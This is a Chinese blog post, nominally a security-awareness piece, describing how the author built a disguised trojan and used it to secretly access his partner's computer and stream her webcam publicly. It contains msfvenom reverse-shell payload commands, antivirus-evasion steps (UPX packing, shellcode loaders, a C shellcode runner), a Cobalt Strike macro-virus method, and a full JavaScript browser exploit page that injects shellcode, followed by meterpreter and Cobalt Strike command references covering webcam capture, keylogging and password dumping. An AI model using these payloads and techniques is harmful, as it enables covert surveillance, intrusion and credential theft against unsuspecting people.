那天闲着蛋疼,逛博客的时候发现有一篇教育意义(很狗)的博客,就想着4.15也快到了。趁着这个机会提醒下身边的朋友,在平常网上冲浪的时候注意下网络安全,说不定玩着玩着可能就被不知不觉的直播了。 阅读的文章:一次渗透妹子电脑开摄像头全过程
看着特别有意思,不过实践起来一定要注意适当。别干违法的事= = 还是简单描述具体思路好了,详细的如果实现不了私聊
具体思路
第一步 构建恶意文件1 2 3 4 5 6 7 8 9 10 11 12 1.指定一个可执行程序 捆绑木马 msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru LHOST=[IP] LPORT =3333 -x webshell.exe -i 12 -f exe -o /root/webshell.exe 2.联合shellcodeloader免杀制作.bin文件 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT =3333 -e x64/zutto_dekiru -f raw -o windows.bin 3.生成c文件 msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp -e x64/zutto_dekiru -i 10 lhost=[IP] lport =3333 -f c -o ~/windows.c 4.Cobaltstrike生成宏病毒代码 一键生成宏代码后,新建一个文档或者用已经有的文档构建。(以word为例)步骤如下: 选择 "视图" -> 宏 -> 查看宏 -> 创建,填入生成的宏代码即可
第二步 制作免杀,msfvenom生成的恶意文件基本底裤都被研究完了,生成C文件,再
加壳免杀(这个比较简单,我会!!)
upx加壳 1 2 3 4 安装 sudo apt-get install upx 对windows.exe 进行加壳,生成的windows-upxed.exe 文件就是加壳后的 sudo upx windows.exe -o windows-upxed.exe
shellcodeloader免杀 ![shellcodeloader](123213scsadsaxzcadsadsajpg %} 生成bin文件后利用shellcodeloader生成免杀文件
生成C文件自己编译,上述命令生成了buf,编译生成exe(最简单的) 1 2 3 4 5 6 7 8 9 #inclde<bits/stdc++.h> using namespace std #将生成的windows.c中buf字符串复制到这里 unsigned char buf[······] int main(){ int (*func )() = (int(*) () )buf ; func () ; return 0 }
第三步 缕清攻击策略(以我对象为例) 1 2 1. 恶意文件捆绑她专业软件破解版发给她(可能会被发现,免杀做的有点粗糙不一定能过)2. 以八卦的形式(前几天看到项XX瓜,再结合她本身是朝阳区第一吃瓜群众,这个方法可行性最高!但是会报毒,否定)
第四步 开始搞看来只能做个恶意程序捆绑正常文件了,先做个垃圾文件。然后更换了图标为网易云的图标。直接冲!
![上线了~](20210423212319164859jpg %} 立马移动到别的pid进程去了,然后利用webcam_stream在公网起了个直播哈哈,不过看了会她发现关掉没用,就关机了,然后开机发现没了就跟我得瑟,同志们我还是下手轻了。
后面通过她拍的照片发现摄像头边上的灯还是有点用的,毕竟突然亮起来肯定没好事,不过我有物理遮挡
到现在我发的文件她都不接收了,除非带着vt截图!!果然一朝被蛇咬十年怕井绳,还是亲身经历过,才了解平常网上冲浪要注意安全!
MSF权限维持 1 2 ps -列出正在运行的进程 migrate 【PID】 -移动到一个指定的 PID 的活动进程
WeChat 0day上线 当我看到这个漏洞的时候,我知道轮到她以及他们得瑟的时代结束了~ 首先生成属于自己的shellcode,然后将buf字符串替换\
为,0
。在服务器上起一个服务,杀穿了~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <head > <meta http-equiv ="Content-Type" content ="text/html;charset=utf-8" > </head > <h1 > PC微信好东西</h1 > <script > ENABLE_LOG = true ; IN_WORKER = true ; var shellcode = [0xfc ,0xe8 ······];function print (data) {} var not_optimised_out = 0 ;var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0 ; i < 0x10000 ; ++i) { target_function(i); } var g_array;var tDerivedNCount = 17 * 87481 - 8 ;var tDerivedNDepth = 19 * 19 ;function cb (flag) { if (flag == true ) { return ; } g_array = new Array (0 ); g_array[0] = 0x1dbabe * 2; return 'c01db33f' ; } function gc () { for (var i = 0 ; i < 0x10000 ; ++i) { new String (); } } function oobAccess () { var this_ = this ; this .buffer = null ; this .buffer_view = null ; this .page_buffer = null ; this .page_view = null ; this .prevent_opt = []; var kSlotOffset = 0x1f ; var kBackingStoreOffset = 0xf ; class LeakArrayBuffer extends ArrayBuffer { constructor () { super (0x1000 ); this .slot = this ; } } this .page_buffer = new LeakArrayBuffer(); this .page_view = new DataView (this .page_buffer); new RegExp ({ toString : function ( ) { return 'a' } }); cb(true ); class DerivedBase extends RegExp { constructor () { super ( { toString: cb }, 'g' ); this_.buffer = new ArrayBuffer (0x80 ); g_array[8] = this_.page_buffer; } } var derived_n = eval(`(function derived_n (i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n (i -1) { constructor () { super (); return ; ${"this.a=0;" .repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this .buffer_view = new DataView (this .buffer); this .leakPtr = function (obj) { this .page_buffer.slot = obj; return this .buffer_view.getUint32(kSlotOffset, true , ...this.prevent_opt); } this .setPtr = function (addr) { this .buffer_view.setUint32(kBackingStoreOffset, addr, true , ...this.prevent_opt); } this .read32 = function (addr) { this .setPtr(addr); return this .page_view.getUint32(0 , true , ...this.prevent_opt); } this .write32 = function (addr, value) { this .setPtr(addr); this .page_view.setUint32(0 , value, true , ...this.prevent_opt); } this .write8 = function (addr, value) { this .setPtr(addr); this .page_view.setUint8(0 , value, ...this.prevent_opt); } this .setBytes = function (addr, content) { for (var i = 0 ; i < content.length; i++) { this .write8(addr + i, content[i]); } } return this ; } function trigger () { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16 )); var kCodeInsOffset = 0x1b ; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16 )); oob.setBytes(code_addr, shellcode); target_function(0); } try { print("start running" ); trigger(); }catch (e){ print(e); } </script >
meterpreter命令详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 Command Description ------- ----------- ? 帮助菜单 background 当前会议的背景 bg 背景的别称 bgkill 杀死一个后台计价器脚本 bglist 列出正在运行的后台脚本 bgrun 以后台线程的形式执行抄表器脚本 channel 显示信息或控制活动通道 close 关闭通道 disable_unicode_encoding 禁用unicode字符串的编码。 enable_unicode_encoding 启用unicode字符串的编码。 exit 终止流量计会话 get_timeouts 获取当前会话超时值 guid 获取会话GUID help 帮助菜单 info 显示邮政模块的信息 irb 在当前会话上打开一个交互式Ruby shell load 装入一个或多个表前仪分机 machine_id 获取连接到会话的机器的MSF ID。 migrate 将服务器迁移到另一个进程 pivot 管理中枢监听器 pry 在当前会话上打开Pry调试器。 quit 终止流量计会话 read 从通道中读取数据 resource 运行存储在文件中的命令 run 执行一个抄表器脚本或Post模块。 secure (重)在会话上协商TLV数据包加密问题 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 迫使Meterpreter安静下来,然后重新建立会话。 transport 改变当前的传输机制 use "load "的弃用别名 uuid 获取当前会话的UUID write 将数据写入通道 Stdapi: File system Commands ============================ Command Description ------- ----------- cat 将文件内容读到屏幕上 cd 更改目录 checksum 检索文件的校验和 cp 将源头复制到目的地 dir 列表文件(ls的别名 download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列表文件 mkdir 制作目录 mv 将源头移动到目的地 pwd 打印工作目录 rm 删除指定的文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 Stdapi: Networking Commands =========================== Command Description ------- ----------- arp 显示主机ARP缓存 getproxy 显示当前的代理配置 ifconfig 显示界面 ipconfig 显示界面 netstat 显示网络连接 portfwd 将本地端口转发给远程服务 resolve 在目标机上解析一组主机名。 route 查看和修改路由表 Stdapi: System Commands ======================= Command Description ------- ----------- clearev 清除事件日志 drop_token 放弃任何活动的冒充令牌。 execute 执行一个命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 试图启用当前进程的所有可用特权 getsid 获取服务器正在运行的用户的SID为 getuid 获取服务器运行的用户为 kill 终止一个进程 localtime 显示目标系统的本地日期和时间。 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重新启动远程计算机 reg 修改远程注册表并与之互动 rev2self 在远程机器上调用RevertToSelf()。 shell 进入系统命令行 shutdown 关闭远程电脑 steal_token 试图从目标进程中窃取冒充令牌 suspend 暂停或恢复进程清单。 sysinfo 获取远程系统的信息,如操作系统。 Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的仪表盘桌面 idletime 返回远程用户闲置的秒数。 keyboard_send 发送按键 keyevent 发送关键事件 keyscan_dump 转储按键缓冲区 keyscan_start 开始捕捉按键 keyscan_stop 停止捕捉按键 mouse 发送鼠标事件 screenshare 实时观看远程用户的桌面。 screenshot 抓取交互式桌面的截图 setdesktop 更改当前桌面的计价器 uictl 控制一些用户界面组件 Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic 用默认麦克风录制音频X秒。 webcam_chat 开始视频聊天 webcam_list 网络摄像机列表 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 播放指定网络摄像头的视频流 Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play 在目标系统上播放音频文件,没有任何内容写入磁盘 Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem 试图将你的权限提升到本地系统的权限。 Priv: Password database Commands ================================ Command Description ------- ----------- hashdump 转储SAM数据库的内容 Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp 操作文件的MACE属性
Cobaltstrike beacon详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 命令 描述 ------- -------- argue 匹配过程的虚假参数 blockdlls 阻止子进程中的非微软DLLs browserpivot 设置浏览器pivot会话 cancel 取消正在进行的下载 cd 更改目录 checkin Call home and post data chromedump 恢复谷歌浏览器的证书 clear 清除信标队列 connect 通过TCP连接到一个Beacon对等体 covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希值 desktop 查看目标的桌面并与之互动 dllinject 在进程中注入Reflective DLL。 dllload 用LoadLibrary()将DLL加载到一个进程中。 download 下载文件 downloads 列出正在进行的文件下载 drives 在目标上列出驱动器 elevate 在升高的上下文中生成一个会话 execute 在目标机上执行程序(无输出) executeassembly 在目标机上执行本地.NET程序。 exit 终止信标会话 getprivs 启用当前令牌的系统权限 getsystem 试图获得系统 getuid 获取用户ID hashdump 转储密码哈希 help 帮助菜单 inject 在特定的进程中产生一个会话 inlineexecute 在此环节中运行一个信标对象文件 jobkill 杀死一个长期存在的后期开发任务。 jobs 列出长期运行的开发后任务(List long-running post-exploitation tasks) jump 在远程主机上生成一个会话 kerberos_ccache_use 将缓存中的 kerberos ticket 应用到这个会话中。 kerberos_ticket_purge 清除本次会话中的kerberos票据 kerberos_ticket_use 将 kerberos ticket 应用到这个会话 keylogger 启动击键记录器 kill 杀死一个进程 link 通过命名的管道连接到Beacon对等体 logonpasswords 用mimikatz转储证书和哈希值。 ls 列表文件 make_token 创建一个传递凭证的令牌 mimikatz 运行mimikatz命令 mkdir 建立一个目录 mode dns 使用DNS A作为数据通道(仅限DNS信标) mode dnstxt 使用DNS TXT作为数据通道(仅限DNS信标) mode dns6 使用 DNS AAAA 作为数据通道(仅适用于 DNS 信标)。 mv 移动文件 net 网络和主机枚举工具 note 为该信标指定一个注释 portscan 扫描网络中的开放服务 powerpick 通过Unmanaged PowerShell执行命令。 powershell 通过powershell.exe执行命令。 powershellimport 导入一个powershell脚本 ppid 为生成的postex作业设置父级PID。 printscreen 通过PrintScr方法拍摄一张截图 ps 显示过程列表 psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz的Passthehash。 pwd 打印当前目录 reg 查询注册表 remoteexec 在远程主机上运行一个命令 rev2self 恢复到原来的令牌 rm 移除文件或文件夹 rportfwd 设置逆向端口转发 rportfwd_local 通过Cobalt Strike客户端设置反向端口转发。 run 在目标机上执行程序(返回输出) runas 以其他用户身份执行程序 runasadmin 在提高的上下文中执行程序( Execute a program in an elevated context) runu 在另一个PID下执行程序 screenshot 拍一张截图 screenwatch 定期对桌面进行截屏 setenv 设置一个环境变量 shell 通过cmd.exe执行命令。 shinject 将shellcode注入到进程中 shspawn 生成进程并将shellcode注入其中 sleep 设置信标睡眠时间 socks 启动SOCKS4a服务器来中继流量。 socks 停止SOCKS4a服务器 spawn 产生一个会话 spawnas 以另一个用户的身份生成一个会话 spawnto 设置可执行文件以将进程生成到 spawnu 在另一个进程下生成一个会话 spunnel 通过 rportfwd 生成和隧道代理。 spunnel_local 通过Cobalt Strike客户端rportfwd生成和挖掘一个代理。 ssh 使用SSH在主机上生成一个SSH会话。 sshkey 使用SSH在主机上生成一个SSH会话。 steal_token 从进程中窃取访问令牌 timestomp 将时间戳从一个文件应用到另一个文件 unlink 断开与母信标的连接 upload 上传文件
参考文章 【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防 微信 RCE 0day chrome(最新版可用) 0day上线cs & wx 0day上线 远控免杀专题文章(1)-基础篇 Metasploit(1):记录一次Win10的渗透过程
工具 shellcodeloader